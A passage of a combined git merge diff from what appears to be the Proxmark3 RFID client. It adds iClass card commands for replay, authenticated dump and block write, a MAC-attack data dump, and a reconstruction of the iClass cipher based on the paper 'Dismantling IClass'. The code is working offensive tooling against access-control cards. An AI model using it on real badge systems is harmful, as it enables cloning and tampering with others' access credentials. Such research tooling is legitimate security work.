 +                      //Then comes NR_MAC (eight bytes from the response)
 +                      memcpy(dump+i*24+16,resp.d.asBytes+i*8,8);
 +
 +              }
 +              /** Now, save to dumpfile **/
 +              saveFile("iclass_mac_attack", "bin", dump,datalen);
 +              free(dump);
 +      }else
 +      {
 +              UsbCommand c = {CMD_SIMULATE_TAG_ICLASS, {simType,numberOfCSNs}};
 +              memcpy(c.d.asBytes, CSN, 8);
 +              SendCommand(&c);
 +      }
    return 0;
  }
  
@@@ -410,27 -211,233 +413,188 @@@ int CmdHFiClassReader(const char *Cmd
    PrintAndLog("--readertype:%02x", readerType);
  
    UsbCommand c = {CMD_READER_ICLASS, {readerType}};
-   //memcpy(c.d.asBytes, CSN, 8);
    SendCommand(&c);
  
-   /*UsbCommand * resp = WaitForResponseTimeout(CMD_ACK, 1500);
-   if (resp != NULL) {
-       uint8_t                isOK  = resp->arg[0] & 0xff;
+   return 0;
+ }
+ int CmdHFiClassReader_Replay(const char *Cmd)
+ {
+   uint8_t readerType = 0;
+   uint8_t MAC[4]={0x00, 0x00, 0x00, 0x00};
+   if (strlen(Cmd)<1) {
+     PrintAndLog("Usage:  hf iclass replay <MAC>");
+     PrintAndLog("        sample: hf iclass replay 00112233");
+     return 0;
+   }
+   if (param_gethex(Cmd, 0, MAC, 8)) {
+     PrintAndLog("MAC must include 8 HEX symbols");
+     return 1;
+   }
+   UsbCommand c = {CMD_READER_ICLASS_REPLAY, {readerType}};
+   memcpy(c.d.asBytes, MAC, 4);
+   SendCommand(&c);
+   return 0;
+ }
+ int CmdHFiClassReader_Dump(const char *Cmd)
+ {
+   uint8_t readerType = 0;
+   uint8_t MAC[4]={0x00,0x00,0x00,0x00};
+   uint8_t KEY[8]={0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00};
+   uint8_t CSN[8]={0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00};
+   uint8_t CCNR[12]={0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00};
+   //uint8_t CC_temp[8]={0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00};
 -  uint8_t result[8]={0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00};
+   uint8_t div_key[8]={0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00};
 -  des_context ctx_enc;
 -  uint64_t crypted_id=0;
+   if (strlen(Cmd)<1) 
+   {
+     //PrintAndLog("Usage:  hf iclass dump <Key> <CSN> <CC>");
+     //PrintAndLog("        sample: hf iclass dump 0011223344556677 aabbccddeeffgghh FFFFFFFFFFFFFFFF");
+     PrintAndLog("Usage:  hf iclass dump <Key>");
+     PrintAndLog("        sample: hf iclass dump 0011223344556677");
+     return 0;
+   }
+   if (param_gethex(Cmd, 0, KEY, 16)) 
+   {
+     PrintAndLog("KEY must include 16 HEX symbols");
+     return 1;
+   }
+   
+   /*if (param_gethex(Cmd, 1, CSN, 16)) 
+   {
+     PrintAndLog("CSN must include 16 HEX symbols");
+     return 1;
+   }
+   if (param_gethex(Cmd, 2, CC_temp, 16)) 
+   {
+     PrintAndLog("CC must include 16 HEX symbols");
+     return 1;
+   }*/
+   
+   UsbCommand c = {CMD_ICLASS_ISO14443A_GETPUBLIC, {0}};
+   //memcpy(c.d.asBytes, MAC, 4);
+   SendCommand(&c);
+   
+   UsbCommand resp;
+   if (WaitForResponseTimeout(CMD_ACK,&resp,4500)) {
+     uint8_t isOK    = resp.arg[0] & 0xff;
+     uint8_t * data  = resp.d.asBytes;
+     
+     memcpy(CSN,data,8);
+     memcpy(CCNR,data+8,8);
+     PrintAndLog("DEBUG: %s",sprint_hex(CSN,8));
+     PrintAndLog("DEBUG: %s",sprint_hex(CCNR,8));
        PrintAndLog("isOk:%02x", isOK);
    } else {
        PrintAndLog("Command execute timeout");
-   }*/
+   }
 -  
 -  
 -  //memcpy(CCNR,CC_temp,8);
 -  des_setkey_enc( &ctx_enc, KEY);
 -  des_crypt_ecb(&ctx_enc,CSN,result);
 -  PrintAndLog("DES Key: %s",sprint_hex(result,8));
 -  uint64_t newz=0;
 -  crypted_id = bytes_to_num(result,8);
 -  uint64_t x = (crypted_id & 0xFFFF000000000000 );
 -  pushbackSixBitByte(&newz, getSixBitByte(crypted_id,0),7);
 -  pushbackSixBitByte(&newz, getSixBitByte(crypted_id,1),6);
 -  pushbackSixBitByte(&newz, getSixBitByte(crypted_id,2),5);
 -  pushbackSixBitByte(&newz, getSixBitByte(crypted_id,3),4);
 -  pushbackSixBitByte(&newz, getSixBitByte(crypted_id,4),3);
 -  pushbackSixBitByte(&newz, getSixBitByte(crypted_id,5),2);
 -  pushbackSixBitByte(&newz, getSixBitByte(crypted_id,6),1);
 -  pushbackSixBitByte(&newz, getSixBitByte(crypted_id,7),0);
 -  newz|= x;
 -  crypted_id=newz;
 -  num_to_bytes(crypted_id,8,result);
 -  PrintAndLog("DESr Key: %s",sprint_hex(result,8));   
 -  hash0(crypted_id,div_key);
 -  PrintAndLog("Div Key: %s",sprint_hex(div_key,8));
 -  calc_iclass_mac(CCNR,12,div_key,MAC);
++
++  diversifyKey(CSN,KEY, div_key);
++
++  doMAC(CCNR,div_key, MAC);
+   UsbCommand d = {CMD_READER_ICLASS_REPLAY, {readerType}};
+   memcpy(d.d.asBytes, MAC, 4);
+   SendCommand(&d);
  
    return 0;
  }
  
 -  uint8_t CC_temp[8]={0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00};
 -  uint8_t result[8]={0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00};
+ int CmdHFiClass_iso14443A_write(const char *Cmd)
+ {
+   uint8_t readerType = 0;
+   uint8_t MAC[4]={0x00,0x00,0x00,0x00};
+   uint8_t KEY[8]={0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00};
+   uint8_t CSN[8]={0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00};
+   uint8_t CCNR[12]={0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00};
 -  des_context ctx_enc;
 -  uint64_t crypted_id=0;
+   uint8_t div_key[8]={0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00};
 -  //memcpy(c.d.asBytes, MAC, 4);
++
+   uint8_t blockNo=0;
+   uint8_t bldata[8]={0};
+   if (strlen(Cmd)<3) 
+   {
+     PrintAndLog("Usage:  hf iclass write <Key> <Block> <Data>");
+     PrintAndLog("        sample: hf iclass write 0011223344556677 10 AAAAAAAAAAAAAAAA");
+     return 0;
+   }
+   if (param_gethex(Cmd, 0, KEY, 16)) 
+   {
+     PrintAndLog("KEY must include 16 HEX symbols");
+     return 1;
+   }
+   
+   blockNo = param_get8(Cmd, 1);
+   if (blockNo>32)
+   {
+         PrintAndLog("Error: Maximum number of blocks is 32 for iClass 2K Cards!");
+         return 1;
+   }
+   if (param_gethex(Cmd, 2, bldata, 8)) 
+   {
+         PrintAndLog("Block data must include 8 HEX symbols");
+         return 1;
+   }
+   
+   UsbCommand c = {CMD_ICLASS_ISO14443A_GETPUBLIC, {0}};
 -  
+   SendCommand(&c);
 -  
 -  des_setkey_enc( &ctx_enc, KEY);
 -  des_crypt_ecb(&ctx_enc,CSN,result);
 -  PrintAndLog("DES Key: %s",sprint_hex(result,8));
 -  uint64_t newz=0;
 -  crypted_id = bytes_to_num(result,8);
 -  uint64_t x = (crypted_id & 0xFFFF000000000000 );
 -  pushbackSixBitByte(&newz, getSixBitByte(crypted_id,0),7);
 -  pushbackSixBitByte(&newz, getSixBitByte(crypted_id,1),6);
 -  pushbackSixBitByte(&newz, getSixBitByte(crypted_id,2),5);
 -  pushbackSixBitByte(&newz, getSixBitByte(crypted_id,3),4);
 -  pushbackSixBitByte(&newz, getSixBitByte(crypted_id,4),3);
 -  pushbackSixBitByte(&newz, getSixBitByte(crypted_id,5),2);
 -  pushbackSixBitByte(&newz, getSixBitByte(crypted_id,6),1);
 -  pushbackSixBitByte(&newz, getSixBitByte(crypted_id,7),0);
 -  newz|= x;
 -  crypted_id=newz;
 -  num_to_bytes(crypted_id,8,result);
 -  PrintAndLog("DESr Key: %s",sprint_hex(result,8));   
 -  hash0(crypted_id,div_key);
+   UsbCommand resp;
++
+   if (WaitForResponseTimeout(CMD_ACK,&resp,4500)) {
+     uint8_t isOK    = resp.arg[0] & 0xff;
+     uint8_t * data  = resp.d.asBytes;
+     
+     memcpy(CSN,data,8);
+     memcpy(CCNR,data+8,8);
+     PrintAndLog("DEBUG: %s",sprint_hex(CSN,8));
+     PrintAndLog("DEBUG: %s",sprint_hex(CCNR,8));
+       PrintAndLog("isOk:%02x", isOK);
+   } else {
+       PrintAndLog("Command execute timeout");
+   }
 -  calc_iclass_mac(CCNR,12,div_key,MAC);
++
++  diversifyKey(CSN,KEY, div_key);
++
+   PrintAndLog("Div Key: %s",sprint_hex(div_key,8));
 -  UsbCommand c = {CMD_ICLASS_ISO14443A_WRITE, {readerType,blockNo}};
 -  memcpy(c.d.asBytes, bldata, 8);
 -  memcpy(c.d.asBytes+8, MAC, 4);
 -  SendCommand(&c);
++  doMAC(CCNR, div_key, MAC);
 -  UsbCommand resp;
++  UsbCommand c2 = {CMD_ICLASS_ISO14443A_WRITE, {readerType,blockNo}};
++  memcpy(c2.d.asBytes, bldata, 8);
++  memcpy(c2.d.asBytes+8, MAC, 4);
++  SendCommand(&c2);
+   if (WaitForResponseTimeout(CMD_ACK,&resp,1500)) {
+     uint8_t isOK    = resp.arg[0] & 0xff;
+     uint8_t * data  = resp.d.asBytes;
+     if (isOK)
+       PrintAndLog("isOk:%02x data:%s", isOK, sprint_hex(data, 4));
+     else
+       PrintAndLog("isOk:%02x", isOK);
+   } else {
+       PrintAndLog("Command execute timeout");
+   }
+   return 0;
+ }
  static command_t CommandTable[] = 
  {
-   {"help",    CmdHelp,        1, "This help"},
-   {"list",    CmdHFiClassList,   0, "List iClass history"},
-   {"snoop",   CmdHFiClassSnoop,  0, "Eavesdrop iClass communication"},
-   {"sim",     CmdHFiClassSim,    0, "Simulate iClass tag"},
-   {"reader",  CmdHFiClassReader, 0, "Read an iClass tag"},
+   {"help",    CmdHelp,                        1,      "This help"},
+   {"list",    CmdHFiClassList,        0,      "List iClass history"},
+   {"snoop",   CmdHFiClassSnoop,       0,      "Eavesdrop iClass communication"},
+   {"sim",     CmdHFiClassSim,         0,      "Simulate iClass tag"},
+   {"reader",CmdHFiClassReader,        0,      "Read an iClass tag"},
+   {"replay",CmdHFiClassReader_Replay, 0,      "Read an iClass tag via Reply Attack"},
+   {"dump",    CmdHFiClassReader_Dump, 0,              "Authenticate and Dump iClass tag"},
+   {"write",   CmdHFiClass_iso14443A_write,    0,      "Authenticate and Write iClass block"},
    {NULL, NULL, 0, NULL}
  };
  
@@@ -445,53 -452,3 +609,3 @@@ int CmdHelp(const char *Cmd
    CmdsHelp(CommandTable);
    return 0;
  }
- /**
-  * @brief checks if a file exists
-  * @param filename
-  * @return
-  */
- int fileExists(const char *filename) {
-       struct stat st;
-       int result = stat(filename, &st);
-       return result == 0;
- }
- /**
-  * @brief Utility function to save data to a file. This method takes a preferred name, but if that
-  * file already exists, it tries with another name until it finds something suitable.
-  * E.g. dumpdata-15.txt
-  * @param preferredName
-  * @param suffix the file suffix. Leave out the ".".
-  * @param data The binary data to write to the file
-  * @param datalen the length of the data
-  * @return 0 for ok, 1 for failz
-  */
- int saveFile(const char *preferredName, const char *suffix, const void* data, size_t datalen)
- {
-       FILE *f = fopen(preferredName, "wb");
-       int size = sizeof(char) * (strlen(preferredName)+strlen(suffix)+5);
-       char * fileName = malloc(size);
-       memset(fileName,0,size);
-       int num = 1;
-       sprintf(fileName,"%s.%s", preferredName, suffix);
-       while(fileExists(fileName))
-       {
-               sprintf(fileName,"%s-%d.%s", preferredName, num, suffix);
-               num++;
-       }
-       /* We should have a valid filename now, e.g. dumpdata-3.bin */
-       /*Opening file for writing in binary mode*/
-       FILE *fileHandle=fopen(fileName,"wb");
-       if(!f) {
-               PrintAndLog("Failed to write to file '%s'", fileName);
-               return 0;
-       }
-       fwrite(data, 1, datalen, fileHandle);
-       fclose(fileHandle);
-       PrintAndLog("Saved data to '%s'", fileName);
-       free(fileName);
-       return 0;
- }
diff --combined client/loclass/cipher.c
index 0000000000000000000000000000000000000000,aad77a2e0f68aace3199655d8ad2df8333c8fe28..aefb5df57f0cadb12b6ba2b82720fcdbfd2fdd3b
mode 000000,100644..100644
--- /dev/null
@@@ -1,0 -1,261 +1,250 @@@
 -#include "loclass/cipher.h"
 -#include "loclass/cipherutils.h"
 -#include "loclass/ikeys.h"
 -
+ /*****************************************************************************
+  * This file is part of iClassCipher. It is a reconstructon of the cipher engine
+  * used in iClass, and RFID techology.
+  *
+  * The implementation is based on the work performed by
+  * Flavio D. Garcia, Gerhard de Koning Gans, Roel Verdult and
+  * Milosch Meriac in the paper "Dismantling IClass".
+  *
+  * Copyright (C) 2014 Martin Holst Swende
+  *
+  * This is free software: you can redistribute it and/or modify
+  * it under the terms of the GNU General Public License version 2 as published
+  * by the Free Software Foundation.
+  *
+  * This file is distributed in the hope that it will be useful,
+  * but WITHOUT ANY WARRANTY; without even the implied warranty of
+  * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+  * GNU General Public License for more details.
+  *
+  * You should have received a copy of the GNU General Public License
+  * along with IClassCipher.  If not, see <http://www.gnu.org/licenses/>.
+  ****************************************************************************/
++#include "cipher.h"
++#include "cipherutils.h"
+ #include <stdio.h>
+ #include <stdlib.h>
+ #include <string.h>
+ #include <stdbool.h>
+ #include <stdint.h>
 -      //printf("bitsleft %d" , bitsLeft(in));
 -      //printf(" %0d", s.r >> 2 & 1);
++#include <time.h>
++#include "fileutils.h"
+ uint8_t keytable[] = { 0,0,0,0,0,0,0,0};
++/**
++* Definition 1 (Cipher state). A cipher state of iClass s is an element of F 40/2
++* consisting of the following four components:
++*     1. the left register l = (l 0 . . . l 7 ) ∈ F 8/2 ;
++*     2. the right register r = (r 0 . . . r 7 ) ∈ F 8/2 ;
++*     3. the top register t = (t 0 . . . t 15 ) ∈ F 16/2 .
++*     4. the bottom register b = (b 0 . . . b 7 ) ∈ F 8/2 .
++**/
++typedef struct {
++      uint8_t l;
++      uint8_t r;
++      uint8_t b;
++      uint16_t t;
++} State;
++
+ /**
+ *     Definition 2. The feedback function for the top register T : F 16/2 → F 2
+ *     is defined as
+ *     T (x 0 x 1 . . . . . . x 15 ) = x 0 ⊕ x 1 ⊕ x 5 ⊕ x 7 ⊕ x 10 ⊕ x 11 ⊕ x 14 ⊕ x 15 .
+ **/
+ bool T(State state)
+ {
+       bool x0 = state.t & 0x8000;
+       bool x1 = state.t & 0x4000;
+       bool x5 = state.t & 0x0400;
+       bool x7 = state.t & 0x0100;
+       bool x10 = state.t & 0x0020;
+       bool x11 = state.t & 0x0010;
+       bool x14 = state.t & 0x0002;
+       bool x15 = state.t & 0x0001;
+       return x0 ^ x1 ^ x5 ^ x7 ^ x10 ^ x11 ^ x14 ^ x15;
+ }
+ /**
+ *     Similarly, the feedback function for the bottom register B : F 8/2 → F 2 is defined as
+ *     B(x 0 x 1 . . . x 7 ) = x 1 ⊕ x 2 ⊕ x 3 ⊕ x 7 .
+ **/
+ bool B(State state)
+ {
+       bool x1 = state.b & 0x40;
+       bool x2 = state.b & 0x20;
+       bool x3 = state.b & 0x10;
+       bool x7 = state.b & 0x01;
+       return x1 ^ x2 ^ x3 ^ x7;
+ }
+ /**
+ *     Definition 3 (Selection function). The selection function select : F 2 × F 2 ×
+ *     F 8/2 → F 3/2 is defined as select(x, y, r) = z 0 z 1 z 2 where
+ *     z 0 = (r 0 ∧ r 2 ) ⊕ (r 1 ∧ r 3 ) ⊕ (r 2 ∨ r 4 )
+ *     z 1 = (r 0 ∨ r 2 ) ⊕ (r 5 ∨ r 7 ) ⊕ r 1 ⊕ r 6 ⊕ x ⊕ y
+ *     z 2 = (r 3 ∧ r 5 ) ⊕ (r 4 ∧ r 6 ) ⊕ r 7 ⊕ x
+ **/
+ uint8_t _select(bool x, bool y, uint8_t r)
+ {
+       bool r0 = r >> 7 & 0x1;
+       bool r1 = r >> 6 & 0x1;
+       bool r2 = r >> 5 & 0x1;
+       bool r3 = r >> 4 & 0x1;
+       bool r4 = r >> 3 & 0x1;
+       bool r5 = r >> 2 & 0x1;
+       bool r6 = r >> 1 & 0x1;
+       bool r7 = r & 0x1;
+       bool z0 = (r0 & r2) ^ (r1 & ~r3) ^ (r2 | r4);
+       bool z1 = (r0 | r2) ^ ( r5 | r7) ^ r1 ^ r6 ^ x ^ y;
+       bool z2 = (r3 & ~r5) ^ (r4 & r6 ) ^ r7 ^ x;
+       // The three bitz z0.. z1 are packed into a uint8_t:
+       // 00000ZZZ
+       //Return value is a uint8_t
+       uint8_t retval = 0;
+       retval |= (z0 << 2) & 4;
+       retval |= (z1 << 1) & 2;
+       retval |= z2 & 1;
+       // Return value 0 <= retval <= 7
+       return retval;
+ }
+ /**
+ *     Definition 4 (Successor state). Let s = l, r, t, b be a cipher state, k ∈ (F 82 ) 8
+ *     be a key and y ∈ F 2 be the input bit. Then, the successor cipher state s ′ =
+ *     l ′ , r ′ , t ′ , b ′ is defined as
+ *     t ′ := (T (t) ⊕ r 0 ⊕ r 4 )t 0 . . . t 14 l ′ := (k [select(T (t),y,r)] ⊕ b ′ ) ⊞ l ⊞ r
+ *     b ′ := (B(b) ⊕ r 7 )b 0 . . . b 6 r ′ := (k [select(T (t),y,r)] ⊕ b ′ ) ⊞ l
+ *
+ * @param s - state
+ * @param k - array containing 8 bytes
+ **/
+ State successor(uint8_t* k, State s, bool y)
+ {
+       bool r0 = s.r >> 7 & 0x1;
+       bool r4 = s.r >> 3 & 0x1;
+       bool r7 = s.r & 0x1;
+       State successor = {0,0,0,0};
+       successor.t = s.t >> 1;
+       successor.t |= (T(s) ^ r0 ^ r4) << 15;
+       successor.b = s.b >> 1;
+       successor.b |= (B(s) ^ r7) << 7;
+       bool Tt = T(s);
+       successor.l = ((k[_select(Tt,y,s.r)] ^ successor.b) + s.l+s.r ) & 0xFF;
+       successor.r = ((k[_select(Tt,y,s.r)] ^ successor.b) + s.l ) & 0xFF;
+       return successor;
+ }
+ /**
+ *     We define the successor function suc which takes a key k ∈ (F 82 ) 8 , a state s and
+ *     an input y ∈ F 2 and outputs the successor state s ′ . We overload the function suc
+ *     to multiple bit input x ∈ F n 2 which we define as
+ * @param k - array containing 8 bytes
+ **/
+ State suc(uint8_t* k,State s, BitstreamIn *bitstream)
+ {
+       if(bitsLeft(bitstream) == 0)
+       {
+               return s;
+       }
+       bool lastbit = tailBit(bitstream);
+       return successor(k,suc(k,s,bitstream), lastbit);
+ }
+ /**
+ *     Definition 5 (Output). Define the function output which takes an internal
+ *     state s =< l, r, t, b > and returns the bit r 5 . We also define the function output
+ *     on multiple bits input which takes a key k, a state s and an input x ∈ F n 2 as
+ *     output(k, s, ǫ) = ǫ
+ *     output(k, s, x 0 . . . x n ) = output(s) · output(k, s ′ , x 1 . . . x n )
+ *     where s ′ = suc(k, s, x 0 ).
+ **/
+ void output(uint8_t* k,State s, BitstreamIn* in,  BitstreamOut* out)
+ {
+       if(bitsLeft(in) == 0)
+       {
+               return;
+       }
 -
+       pushBit(out,(s.r >> 2) & 1);
+       //Remove first bit
+       uint8_t x0 = headBit(in);
+       State ss = successor(k,s,x0);
+       output(k,ss,in, out);
+ }
+ /**
+ * Definition 6 (Initial state). Define the function init which takes as input a
+ * key k ∈ (F 82 ) 8 and outputs the initial cipher state s =< l, r, t, b >
+ **/
+ State init(uint8_t* k)
+ {
+       State s = {
+       ((k[0] ^ 0x4c) + 0xEC) & 0xFF,// l
+       ((k[0] ^ 0x4c) + 0x21) & 0xFF,// r
+       0x4c, // b
+       0xE012 // t
+       };
+       return s;
+ }
+ void MAC(uint8_t* k, BitstreamIn input, BitstreamOut out)
+ {
+       uint8_t zeroes_32[] = {0,0,0,0};
+       BitstreamIn input_32_zeroes = {zeroes_32,sizeof(zeroes_32)*8,0};
+       State initState = suc(k,init(k),&input);
+       output(k,initState,&input_32_zeroes,&out);
 -
 -void printarr(char * name, uint8_t* arr, int len)
+ }
 -      int i ;
 -      printf("uint8_t %s[] = {", name);
 -      for(i =0 ;  i< len ; i++)
 -      {
 -              printf("0x%02x,",*(arr+i));
 -      }
 -      printf("};\n");
++void doMAC(uint8_t cc_nr[12],uint8_t div_key[8], uint8_t mac[4])
+ {
 -      // But actually, that must be reversed, it's "on-the-wire" data
 -      reverse_arraybytes(cc_nr,sizeof(cc_nr));
 -
++      // Reversed "on-the-wire" data
++      uint8_t cc_nr_r[12]  = {0};
++      reverse_arraycopy(cc_nr, cc_nr_r,12);
++      BitstreamIn bitstream = {cc_nr_r,12 * 8,0};
++      uint8_t dest [8]= {0,0,0,0,0,0,0,0};
++      BitstreamOut out = { dest, sizeof(dest)*8, 0 };
++      MAC(div_key,bitstream, out);
++
++      //The output MAC must also be reversed
++      reverse_arraybytes(dest, sizeof(dest));
++      memcpy(mac, dest, 4);
++      return;
+ }
+ int testMAC()
+ {
++      prnlog("[+] Testing MAC calculation...");
+       //From the "dismantling.IClass" paper:
+       uint8_t cc_nr[] = {0xFE,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0,0,0,0};
 -      uint8_t div_key[] = {0xE0,0x33,0xCA,0x41,0x9A,0xEE,0x43,0xF9};
 -      uint8_t correct_MAC[] = {0x1d,0x49,0xC9,0xDA};
+       //From the paper
 -      BitstreamIn bitstream = {cc_nr,sizeof(cc_nr) * 8,0};
 -      uint8_t dest []= {0,0,0,0,0,0,0,0};
 -      BitstreamOut out = { dest, sizeof(dest)*8, 0 };
 -      MAC(div_key,bitstream, out);
 -      //The output MAC must also be reversed
 -      reverse_arraybytes(dest, sizeof(dest));
++      uint8_t div_key[8] = {0xE0,0x33,0xCA,0x41,0x9A,0xEE,0x43,0xF9};
++      uint8_t correct_MAC[4] = {0x1d,0x49,0xC9,0xDA};
 -      if(false && memcmp(dest, correct_MAC,4) == 0)
++      uint8_t calculated_mac[4] = {0};
++      doMAC(cc_nr, div_key, calculated_mac);
 -              printf("MAC calculation OK!\n");
++      if(memcmp(calculated_mac, correct_MAC,4) == 0)
+       {
 -              printf("MAC calculation failed\n");
 -              printarr("Calculated_MAC", dest, 4);
 -              printarr("Correct_MAC   ", correct_MAC, 4);
++              prnlog("[+] MAC calculation OK!");
+       }else
+       {
 -
 -int calc_iclass_mac(uint8_t *cc_nr_p, int length, uint8_t *div_key_p, uint8_t *mac)
 -{
 -    uint8_t *cc_nr;
 -    uint8_t div_key[8];
 -    cc_nr=(uint8_t*)malloc(length+1);
 -    memcpy(cc_nr,cc_nr_p,length);
 -    memcpy(div_key,div_key_p,8);
 -    
 -      reverse_arraybytes(cc_nr,length);
 -      BitstreamIn bitstream = {cc_nr,length * 8,0};
 -      uint8_t dest []= {0,0,0,0,0,0,0,0};
 -      BitstreamOut out = { dest, sizeof(dest)*8, 0 };
 -      MAC(div_key,bitstream, out);
 -      //The output MAC must also be reversed
 -      reverse_arraybytes(dest, sizeof(dest));
 -      
 -      printf("Calculated_MAC\t%02x%02x%02x%02x\n", dest[0],dest[1],dest[2],dest[3]);
 -      memcpy(mac,dest,4);
 -      free(cc_nr);
 -      return 1;
 -}
++              prnlog("[+] FAILED: MAC calculation failed:");
++              printarr("    Calculated_MAC", calculated_mac, 4);
++              printarr("    Correct_MAC   ", correct_MAC, 4);
+               return 1;
+       }
++
+       return 0;
+ }
diff --combined client/loclass/cipher.h
index 0000000000000000000000000000000000000000,4af92b16589eb91ce3ba91e45cbac54905adb704..7ebc3dc7928efb352b36398b7b083e8e79f63287
mode 000000,100644..100644
--- /dev/null
@@@ -1,0 -1,46 +1,31 @@@
 -/**
 -* Definition 1 (Cipher state). A cipher state of iClass s is an element of F 40/2
 -* consisting of the following four components:
 -*     1. the left register l = (l 0 . . . l 7 ) ∈ F 8/2 ;
 -*     2. the right register r = (r 0 . . . r 7 ) ∈ F 8/2 ;
 -*     3. the top register t = (t 0 . . . t 15 ) ∈ F 16/2 .
 -*     4. the bottom register b = (b 0 . . . b 7 ) ∈ F 8/2 .
 -**/
 -typedef struct {
 -      uint8_t l;
 -      uint8_t r;
 -      uint8_t b;
 -      uint16_t t;
 -} State;
 -
 -void printarr(char * name, uint8_t* arr, int len);
 -int calc_iclass_mac(uint8_t *cc_nr_p, int length, uint8_t *div_key_p, uint8_t *mac);
+ /*****************************************************************************
+  * This file is part of iClassCipher. It is a reconstructon of the cipher engine
+  * used in iClass, and RFID techology.
+  *
+  * The implementation is based on the work performed by
+  * Flavio D. Garcia, Gerhard de Koning Gans, Roel Verdult and
+  * Milosch Meriac in the paper "Dismantling IClass".
+  *
+  * Copyright (C) 2014 Martin Holst Swende
+  *
+  * This is free software: you can redistribute it and/or modify
+  * it under the terms of the GNU General Public License version 2 as published
+  * by the Free Software Foundation.
+  *
+  * This file is distributed in the hope that it will be useful,
+  * but WITHOUT ANY WARRANTY; without even the implied warranty of
+  * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+  * GNU General Public License for more details.
+  *
+  * You should have received a copy of the GNU General Public License
+  * along with IClassCipher.  If not, see <http://www.gnu.org/licenses/>.
+  ****************************************************************************/
+ #ifndef CIPHER_H
+ #define CIPHER_H
+ #include <stdint.h>
++void doMAC(uint8_t cc_nr[12],uint8_t div_key[8], uint8_t mac[4]);
++int testMAC();
+ #endif // CIPHER_H
index 0000000000000000000000000000000000000000,685a3815bc2d4ad4c8742496a81a502f131daa07..1e08cf10526fa969811bb97d795f54f05df7d427
mode 000000,100644..100644
--- /dev/null
@@@ -1,0 -1,195 +1,273 @@@
 -#include "cipherutils.h"
 -#include "../util.h"
+ /*****************************************************************************
+  * This file is part of iClassCipher. It is a reconstructon of the cipher engine
+  * used in iClass, and RFID techology.
+  *
+  * The implementation is based on the work performed by
+  * Flavio D. Garcia, Gerhard de Koning Gans, Roel Verdult and
+  * Milosch Meriac in the paper "Dismantling IClass".
+  *
+  * Copyright (C) 2014 Martin Holst Swende
+  *
+  * This is free software: you can redistribute it and/or modify
+  * it under the terms of the GNU General Public License version 2 as published
+  * by the Free Software Foundation.
+  *
+  * This file is distributed in the hope that it will be useful,
+  * but WITHOUT ANY WARRANTY; without even the implied warranty of
+  * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+  * GNU General Public License for more details.
+  *
+  * You should have received a copy of the GNU General Public License
+  * along with IClassCipher.  If not, see <http://www.gnu.org/licenses/>.
+  ****************************************************************************/
 -
+ #include <stdint.h>
+ #include <stdio.h>
+ #include <string.h>
 -              printf("Bitstream test 1 ok\n");
++#include "fileutils.h"
++#include "cipherutils.h"
+ /**
+  *
+  * @brief Return and remove the first bit (x0) in the stream : <x0 x1 x2 x3 ... xn >
+  * @param stream
+  * @return
+  */
+ bool headBit( BitstreamIn *stream)
+ {
+       int bytepos = stream->position >> 3; // divide by 8
+       int bitpos = (stream->position++) & 7; // mask out 00000111
+       return (*(stream->buffer + bytepos) >> (7-bitpos)) & 1;
+ }
+ /**
+  * @brief Return and remove the last bit (xn) in the stream: <x0 x1 x2 ... xn>
+  * @param stream
+  * @return
+  */
+ bool tailBit( BitstreamIn *stream)
+ {
+       int bitpos = stream->numbits -1 - (stream->position++);
+       int bytepos= bitpos >> 3;
+       bitpos &= 7;
+       return (*(stream->buffer + bytepos) >> (7-bitpos)) & 1;
+ }
+ /**
+  * @brief Pushes bit onto the stream
+  * @param stream
+  * @param bit
+  */
+ void pushBit( BitstreamOut* stream, bool bit)
+ {
+       int bytepos = stream->position >> 3; // divide by 8
+       int bitpos = stream->position & 7;
+       *(stream->buffer+bytepos) |= (bit & 1) <<  (7 - bitpos);
+       stream->position++;
+       stream->numbits++;
+ }
+ /**
+  * @brief Pushes the lower six bits onto the stream
+  * as b0 b1 b2 b3 b4 b5 b6
+  * @param stream
+  * @param bits
+  */
+ void push6bits( BitstreamOut* stream, uint8_t bits)
+ {
+       pushBit(stream, bits & 0x20);
+       pushBit(stream, bits & 0x10);
+       pushBit(stream, bits & 0x08);
+       pushBit(stream, bits & 0x04);
+       pushBit(stream, bits & 0x02);
+       pushBit(stream, bits & 0x01);
+ }
+ /**
+  * @brief bitsLeft
+  * @param stream
+  * @return number of bits left in stream
+  */
+ int bitsLeft( BitstreamIn *stream)
+ {
+       return stream->numbits - stream->position;
+ }
+ /**
+  * @brief numBits
+  * @param stream
+  * @return Number of bits stored in stream
+  */
+ int numBits(BitstreamOut *stream)
+ {
+       return stream->numbits;
+ }
++void x_num_to_bytes(uint64_t n, size_t len, uint8_t* dest)
++{
++      while (len--) {
++              dest[len] = (uint8_t) n;
++              n >>= 8;
++      }
++}
++
++uint64_t x_bytes_to_num(uint8_t* src, size_t len)
++{
++      uint64_t num = 0;
++      while (len--)
++      {
++              num = (num << 8) | (*src);
++              src++;
++      }
++      return num;
++}
+ uint8_t reversebytes(uint8_t b) {
+       b = (b & 0xF0) >> 4 | (b & 0x0F) << 4;
+       b = (b & 0xCC) >> 2 | (b & 0x33) << 2;
+       b = (b & 0xAA) >> 1 | (b & 0x55) << 1;
+    return b;
+ }
+ void reverse_arraybytes(uint8_t* arr, size_t len)
+ {
+       uint8_t i;
+       for( i =0; i< len ; i++)
+       {
+               arr[i] = reversebytes(arr[i]);
+       }
+ }
++void reverse_arraycopy(uint8_t* arr, uint8_t* dest, size_t len)
++{
++      uint8_t i;
++      for( i =0; i< len ; i++)
++      {
++              dest[i] = reversebytes(arr[i]);
++      }
++}
++
++void printarr(char * name, uint8_t* arr, int len)
++{
++      int cx;
++      size_t outsize = 40+strlen(name)+len*5;
